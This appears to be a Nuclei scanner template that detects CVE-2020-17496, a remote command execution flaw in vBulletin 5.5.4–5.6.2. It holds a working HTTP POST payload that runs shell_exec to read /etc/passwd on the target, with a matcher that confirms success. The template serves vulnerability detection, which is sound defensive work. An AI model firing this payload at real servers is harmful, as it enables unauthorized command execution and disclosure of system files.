vBulletin 5.5.4 - 5.6.2- Remote Command Execution

id: CVE-2020-17496

info:
  name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
  author: pussycat0x
  severity: critical
  description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2020-17496.
  reference:
    - https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17496
    - https://seclists.org/fulldisclosure/2020/Aug/5
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
    - https://cwe.mitre.org/data/definitions/78.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17496
    cwe-id: CWE-74
    epss-score: 0.97451
    epss-percentile: 0.99949
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vbulletin
    product: vbulletin
  tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists

http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206afba9382ef50078a6e10f45af89877a09050cee4ee4f09332c699c120cc20570221009ee5bdbc704e8afa38af4a3db4866cc3cae4b1bdec288b453ac41adf3db45155:922c64590222798bb761d5b6d8e72950